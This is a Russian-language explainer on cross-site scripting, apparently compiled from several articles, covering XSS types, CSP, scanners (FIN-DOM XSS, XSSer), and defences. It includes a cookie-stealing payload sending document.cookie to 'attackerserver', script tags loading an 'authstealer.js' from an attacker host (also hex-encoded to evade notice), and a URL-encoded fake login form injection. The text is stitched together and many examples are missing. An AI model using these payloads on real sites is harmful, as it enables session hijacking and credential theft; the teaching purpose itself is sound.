Xss-атака

Содержание:

Cross-site Scripting Attack Vectors
Что такое DOM?
Content Security Policy
How Cross-site Scripting Works
Что такое XSS
Как установить FIN-DOM XSS
- Установить LinkFinder
- Начиная с FIN-DOM XSS
Проблемы сигнатурного анализа
Практический пример XSS на тестовом сайте
Противодействие XSS-атакам
Использование
- Использование ключей для составления запроса
- Использование графического интерфейса
Overview
Примеры эксплуатирования XSS
Различные типы уязвимости Cross-Site Scripting
Принцип действия атак, основанных на межсайтовом скриптинге

Cross-site Scripting Attack Vectors

The following is a list of common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained by the OWASP organization: XSS Filter Evasion Cheat Sheet.

<script> tag

The tag is the most straightforward XSS payload. A tag can reference external JavaScript code or you can embed the code within the tag itself.

<body> tag

An XSS payload can be delivered inside the by using event attributes (see above) or other more obscure attributes such as the attribute.

<img> tag

<iframe> tag

The tag lets you embed another HTML page in the current page. An IFrame may contain JavaScript but JavaScript in the IFrame does not have access to the DOM of the parent page due to the Content Security Policy (CSP) of the browser. However, IFrames are still very effective for pulling off phishing attacks.

<input> tag

<link> tag

<table> tag

<div> tag

<object> tag

Что такое DOM?

Его аббревиатура означает Объектная модель документа , На испанском языке это означает объектная модель документа , Он состоит из API, разработанного для документов в формате HTML и XML. Но что именно он делает? Он отвечает за построение логики документов вышеупомянутых форматов, чтобы они были доступны и ими можно было управлять. Мы можем лучше понять концепцию благодаря документам в формате HTML.

Мы знаем, что HTML является одним из основных форматов Интернета, каким мы его знаем. HTML-файл может иметь содержимое, подобное показанному ниже:

Если присмотреться, то HTML-файл, которым мы делимся, разделен на несколько частей:

Заголовок (заголовок), в котором мы делаем некоторые важные определения перед тем, как перейти к содержанию рассматриваемой страницы:
- Основной заголовок на странице, который появляется во вкладке нашего браузера (заголовок).
- Раздел, в котором мы настраиваем макет страницы, то есть общий формат, который она будет иметь. Это как выбрать тему WordPress или Blogger, которая нам нравится больше всего.
Тело страницы, на которой хранится контент (тело):
- Ставим шапку.
- Ставим нужный текст.
- Мы вставляем изображение по своему усмотрению, в котором мы можем настроить его ширину и / или высоту.

Конечно, все это можно расширить до гораздо большего. Просто с помощью HTML-документа мы можем многое получить от мультимедийного контента. Однако этот пример показывает нам, что благодаря DOM мы можем управлять практичным, простым и, прежде всего, стандартизированным способом. Модель DOM не резервирует HTML, она открыта для других популярных языков программирования, таких как JavaScript.

Content Security Policy

Ранее, одним из главных принципов безопасности браузеров являлась политика Same Origin Policy. Ее суть заключается в проверке трех компонентов, из которых состоит origin: протокол, хост и порт. Однако при внедрении пейлода с одного сайта на другой SOP будет бесполезен для сайта с внедренным пейлоадом. Поэтому на смену SOP пришел CSP, основное предназначение которого состоит в том, чтобы защитить пользователя от угроз межсайтового выполнения сценариев. CSP описывает безопасные источники загрузки ресурсов, устанавливает правила использования встроенных стилей, скриптов, а также динамической оценки JavaScript. Самое главное — загрузка с ресурсов, не входящих в «белый список», блокируется.

Поддерживаемые директивы:

Default-src: определение политики загрузки для всех типов ресурсов в случае, если определенная директива типа ресурса не определена (резервная);
Script-src: какие скрипты могут использовать защищенный ресурс;
Object-src: откуда ресурс может загружать плагины;
Style-src: какие стили (CSS) пользователь применяет к защищенному ресурсу;
Img -src: откуда защищенный ресурс может загружать изображения;
Media-src: откуда защищенный ресурс может загружать видео и аудио;
Frame-src: где защищенный ресурс может вставлять кадры;
Font-src: где защищенный ресурс может загружать шрифты;
Connect-src: какие URI могут быть загружены защищенным ресурсом;
Form-action: какие URI могут использоваться как результат работы HTML-формы;
Sandbox: определяет политику «песочницы HTML»;
Script-nonce: выполнение сценария, требуя наличия указанного nonce для элементов сценария;
Plugin-types: набор плагинов, которые могут быть вызваны защищенным ресурсом, путем ограничения типов ресурсов, которые могут быть встроены;
Reflection-xss: активировать или деактивировать любые проверки, используемые для фильтрации или блокирования отраженных атак между сайтами, эквивалентные нестандартному заголовку X-XSS-Protection;
Report-uri: указывает URI, на который агент пользователя отправляет отчеты о нарушении правил.

How Cross-site Scripting Works

There are two stages to a typical XSS attack:

To run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject malicious code (payload) into a web page that the victim visits.
After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.

For step one to be possible, the vulnerable website needs to directly include user input in its pages. An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks.

The following is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:

The above script simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:

The web server provides the following HTML code to users that visit this web page:

When the page loads in the victim’s browser, the attacker’s malicious script executes. Most often, the victim does not realize it and is unable to prevent such an attack.

Что такое XSS

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу – это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

Если кто-то из пользователей ввёл:

Привет! Нравится твой сайт.

То веб-страница отобразит:

Привет! Нравится твой сайт.

А если пользователь введёт так:

Привет! Нравится твой сайт.<script>alert("Pwned")</script>

То отобразится это так:

Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

Внедрённый код умеет всё то, что умеет JavaScript, а именно:

получает доступ к кукиз просматриваемого сайта
может вносить любые изменения во внешний вид страницы
получает доступ к буферу обмена
может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
подцеплять на BeEF
и др.

Простейший пример с кукиз:

<script>alert(document.cookie)</script>

На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

Как установить FIN-DOM XSS

Это решение представляет собой мощный сканер уязвимостей, которые могут привести к XSS-атакам на основе DOM. Его чрезвычайно просто установить, вам нужно только установить Linux через выбранный вами дистрибутив. Помните, что нет необходимости иметь отдельный компьютер с этой операционной системой. У вас всегда есть возможность виртуализировать!

Первое, что мы должны помнить, это то, что установка осуществляется через командную строку, и мы получим все, что нам нужно, через ее официальный портал на Github.

Установить LinkFinder

Это сценарий, разработанный на Python для обнаружения конечные точки и их параметры в файлах Javascript. Его широко используют пентестеры и люди, занимающиеся охотой за ошибками ( охотники за насекомыми ). Как и FIN-DOM XSS, мы собираемся установить из командной строки. Это предварительное условие или зависимость для правильной работы сканера.

Введите следующие команды для установки LinkFinder :

Наконец, мы добавляем пару зависимостей, которые являются модулями в Python, чтобы этот скрипт работал правильно через типун , Для получения дополнительных сведений о LinkFinder вы можете обратиться к официальный портал на Github.

Начиная с FIN-DOM XSS

Поскольку вы выполнили предварительные требования, вы можете приступить к установке рассматриваемого сканера с помощью следующей команды:

После завершения установки вы должны внести изменения в конфигурацию. Это изменение значения переменной LINKFINDER в строке 3 на соответствующий путь к вашему основному .

Чтобы выполнить FIN-DOM XSS, вам нужно всего лишь выполнить следующую команду:

Структура проста, команда, которая вызывает FIN-DOM XSS для запуска, выглядит следующим образом: ./findom-xss-sh .

С другой стороны, есть ссылка, которая будет нашей целью, которую мы хотим изучить в поисках уязвимостей. Это может быть любая веб-страница. Затем можно преобразовать приведенную выше команду в более конкретный пример.

У вас даже есть возможность добавить к команде еще один параметр, чтобы результаты автоматически экспортировались в текстовый файл, расположенный в любом месте.

Однако, даже если вы не укажете третий параметр, результаты сканирования по умолчанию сохраняются в Результаты папка и имя файла target.host.txt .

Это результат экрана, который вы должны получить при успешном выполнении FIN-DOM XSS:

Мы надеемся, что это руководство поможет вам найти эти типы уязвимостей.

Проблемы сигнатурного анализа

Не стоит забывать, что злоумышленник может легко получить список сигнатур и на его основе попытаться обойти WAF. Для таких случаев в Nemesida WAF применяется модуль машинного обучения, который позволяет усложнить попытки обхода сигнатурного метода. Для наглядности мы провели 2 теста — попытки обхода бесплатной версии Nemesida WAF (только сигнатурный анализ) и полной версии Nemesida WAF с применением машинного обучения (используя реальные модели). В качестве инструмента использовали waf-bypass и вот, что получили:

При использовании инструмента XSStrike все атаки на веб-приложение также были заблокированы, даже с учетом попыток обхода защиты по умолчанию.

Практический пример XSS на тестовом сайте

Следующий пример не является хакерским пособием. Это всего лишь демонстрация того, как можно использовать XSS для контроля и изменения выполняемых функций страницы и как менять метод обработки данных на странице. Практическое использование этого примера можно оспорить, однако все желающие могут ознакомиться со стандартными отчетами, в которых описано применение улучшенных XSS для получения комплексных результатов, не вызывающих подозрения у пользователя. Уверен, это будет Вам интересно.

Введите в браузере адрес следующей страницы: http://testasp.acunetix.com/Search.asp, Вы увидите, что это простая страница с полем ввода текста поискового запроса

Рисунок 1
Попробуйте вставить следующий код в поле поиска и обратите внимание на то, как на странице будет отображаться поле регистрации: Please login with the form below before proceeding:

Login:
Password:

После вставки кода просто нажмите кнопку «Поиск». Рисунок 2

Из-за уязвимости страницы к XSS, стало возможным создать поддельную форму регистрации, которое можно использовать для сбора параметров доступа пользователя. На этапе 2 видно, что код содержит элемент «destination.asp». Здесь хакер может определить, куда поддельная форма регистрации будет отсылать параметры доступа для дальнейшего использования в преступных целях.

Хакер также может внедрить данный код, пропустив его через поле адреса браузера, как показано ниже:

http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before+ proceeding%3A%3Cform+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+ length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C%2Fform%3E

Рисунок 3

Это даст тот же результат, что демонстрирует различные способы применения XSS для достижения одних и тех же целей. После того, как хакер получит параметры доступа пользователя, он может легко вернуть настоящую страницу поиска, и пользователь даже не поймет, что его только что обманули. Также этот метод может применяться и при рассылке спама, который мы получаем каждый день. Очень часто пользователь находит у себя в ящике письмо, в котором сообщается, что на определенном интернет-аукционе кто-то использует аккаунт пользователя с преступными целями. Затем пользователя просят нажать на ссылку для подтверждения личности. Это тот же самый метод, при котором пользователя перенаправляют к поддельной форме регистрации, где его параметры доступа будут скопированы и отосланы хакеру.

Противодействие XSS-атакам

Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.

Мероприятия для клиентов или пользователей

Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы и (в последовательности и соответственно) в параметре в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.

Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.

Если при создания ссылки использовался сервис по сокращению длины URL, такой, как «tiny», «tinyurl», «bit.ly», «is.gd», «shorturl», «snipurl», и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения «ненадежных» сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам

Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.

Для разработчиков

Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является .

Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.

Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.

Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.

Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.

Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.

Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.

Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.

Использование

Использование ключей для составления запроса

Для вызова справки по командам вводим xsser -h. Команда xsser —update обновит инструмент до актуальной версии, а xss —gtk запустит графический интерфейс, но об этом чуть позже.

Стандартная команда для проверки XSS выглядит так:

-u — URL для проверки;
-g/-p — параметры для GET- и POST-запросов с указанием места внедрения проверочного пейлоада при помощи строки XSS.

Использование графического интерфейса

Для любителей графического интерфейса существует команда xsser —gtk. Запустится окно программы, где можно настраивать запросы для тестирования аналогично консольному варианту. Но здесь работать гораздо удобнее, исключив возможность запутаться в действительно обширном количестве ключей.

Вариантов настройки запросов в графическом интерфейсе тоже 2, как и в консольном варианте:

обычный режим — пользователь сам выбирает параметры для составления запроса;
мастер запросов — интерактивное окно, в котором необходимо последовательно выбирать такие параметры, как: метод отправляемого запроса, URL проверяемого веб-приложения (один URL или список), метод генерации пейлоадов (конкретный или автоматическая генерация), необходима ли анонимизация отправки запросов такими средствами, как Tor и т.д.

С мастером настройки особых проблем возникать не должно. Главное — четко понимать, какие данные необходимы, поэтому остановимся подробнее на обычном режиме.

При запуске графического интерфейса, как уже говорилось ранее, появится окно программы, где вводится URL для тестирования, указывается использование поисковой системы страниц с уязвимостями, краулер, а также Tor прокси для анонимизации. Остальные настройки будут производиться в соответствующих разделах:

Connection

Основной раздел составления запроса.

Cheker

Проверка доступности хоста и настройка проверки Blind XSS.

Vectors

Позволяет вручную установить пейлоад для проверки или использовать автоматическую генерацию.

Anti-antiXSS

Использование параметров для попытки обхода некоторых WAF, а также анти-XSS фильтры некоторых браузеров. Последнее не имеет смысла, так как заявленые браузеры являются устаревшими и вряд ли не используются на текущий момент.

Bypasser

Содержит различные настройки обфускации пейлоадов для обхода прочих средств защиты.

Technique

Различные техники внедрения пейлоада.

Exploit

Специальные методы выполнения инъекций.

После указания всех параметров можно нажать на главном окне кнопку «Fly» для выполнения атаки или кнопку «Aim» для генерации консольной команды.

Overview

Cross-Site Scripting (XSS) attacks are a type of injection, in which
malicious scripts are injected into otherwise benign and trusted
websites. XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser side script, to
a different end user. Flaws that allow these attacks to succeed are
quite widespread and occur anywhere a web application uses input from a
user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting
user. The end user’s browser has no way to know that the script should
not be trusted, and will execute the script. Because it thinks the
script came from a trusted source, the malicious script can access any
cookies, session tokens, or other sensitive information retained by the
browser and used with that site. These scripts can even rewrite the
content of the HTML page. For more details on the different types of XSS
flaws, see: Types of Cross-Site Scripting.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки» страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки, что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде <script type=’text/javascript’>alert(‘xss’);</script>:

2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).

2.3.2 Страница отображает <script type=’text/javascript’>alert(‘xss’);</script> не найдено наряду с сообщением об ошибке с текстом ‘xss’.

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=<script%20type=’text/javascript’>alert(‘xss’);</script>

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies<script%20src=»http://mallorysevilsite.com/authstealer.js»></script>. Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

6. Мэлори теперь размещает куки авторизации Алисы в своём браузере как будто бы это её собственные. Затем она переходит на сайт Боба и оказывается залогиненной как Алиса.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

Мэлори имеет аккаунт на сайте Боба.
Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
В этой истории мне так понравились собачки. Они такие славные! <script src=»http://mallorysevilsite.com/authstealer.js»>
Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.

Различные типы уязвимости Cross-Site Scripting

Существует в основном три различных типа уязвимости Cross-site Scripting; Stored, Reflected и DOM XSS. Ниже мы рассмотрим более подробно каждого из них.

Stored Cross-site Scripting

Уязвимости Stored Cross-site возникают, когда полезная нагрузка (payload) сохраняется, например, в базе данных, а затем выполняется, когда пользователь открывает страницу в веб-приложении. Stored cross-site scripting очень опасно по ряду причин:

Полезная нагрузка не видна для фильтра XSS браузера
Пользователи могут случайно активировать полезную нагрузку, если они посещают уязвимую страницу, в то время как для использования Reflected XSS потребуется специально созданный URL-адрес или особые входные данные.

Пример Stored XSS

Stored XSS-уязвимость может возникнуть, если имя пользователя онлайн-доски объявлений не очищено должным образом при выводе на страницу. В этом случае злоумышленник может вставить вредоносный код при регистрации нового пользователя в форме. Когда имя пользователя отражается на странице доски объявлений, оно будет выглядеть так:

Вышеуказанный вредоносный JavaScript запускается каждый раз, когда пользователь посещает этот раздел форума, и он отправляет злоумышленникам файлы cookie доски объявлений, которые хранятся в браузере пользователя, и затем использует их для кражи сеансов пользователя. Stored XSS может быть очень опасной уязвимостью, поскольку может иметь свойство червя — распространяться, особенно при использовании на популярных страницах.

Например, представьте себе доску объявлений или веб-сайт социальной сети, на котором есть общедоступная страница, которая уязвима для уязвимости stored XSS, такой как страница профиля пользователя. Если злоумышленник может разместить вредоносную полезную нагрузку JavaScript, которая добавляет себя на страницу профиля, вектор атаки выполняется каждый раз, когда посетитель открывает страницу, и полезная нагрузка распространяется с экспоненциальным ростом.

Reflected Cross-site Scripting (XSS)

Reflected XSS-уязвимость возникает, когда пользовательский ввод с URL-адреса или данных POST отражается на странице без сохранения, что позволяет злоумышленнику внедрить вредоносный контент. Это означает, что злоумышленник должен отправить созданный вредоносный URL-адрес или почтовую форму жертве, чтобы вставить полезную нагрузку, и жертва должна щелкнуть ссылку. Этот вид полезной нагрузки также обычно определяется встроенными фильтрами XSS в браузерах пользователя, таких как Chrome, Internet Explorer или Edge.

Пример Reflected XSS

В качестве примера XSS-атак мы будем использовать функцию поиска на новостном веб-сайте, которая работает путем добавления пользовательского ввода, полученного из запроса GET HTTP, к параметру q, как показано в следующем примере:

В результатах поиска веб-сайт отражает содержание запроса, который искал пользователь, например:

Если функция поиска уязвима для уязвимости reflected cross-site scripting, злоумышленник может отправить жертве вредоносный URL-адрес, такой как приведенный ниже:

Когда жертва нажимает на вредоносный URL-адрес, выполняется атака XSS, и на веб-сайте отображается следующее:

Исходный код HTML, который отражает вредоносный код злоумышленника, перенаправляет браузер жертвы на веб-сайт, который контролируется злоумышленником, который затем крадет текущие файлы cookie / токены сеанса пользователя из браузера жертвы для сайта example.com в качестве параметра GET,

Принцип действия атак, основанных на межсайтовом скриптинге

Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.

Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с «подтверждением» или «выводом результатов» (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.

Следующая простейшая PHP-страница уязвима для XSS-атак!

<?php echo "Hello, {$HTTP_GET_VARS}!"; ?>

Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку «Arpit Bajpai») в качестве аргумента, URL будет выглядеть следующим образом: (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.

Рисунок 1: Безопасная передача данных

Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: .

Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.

Рисунок 2: Необработанный вывод

Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук.

<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>

В ходе работы этого сценария в файле сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий .

Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.

На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом: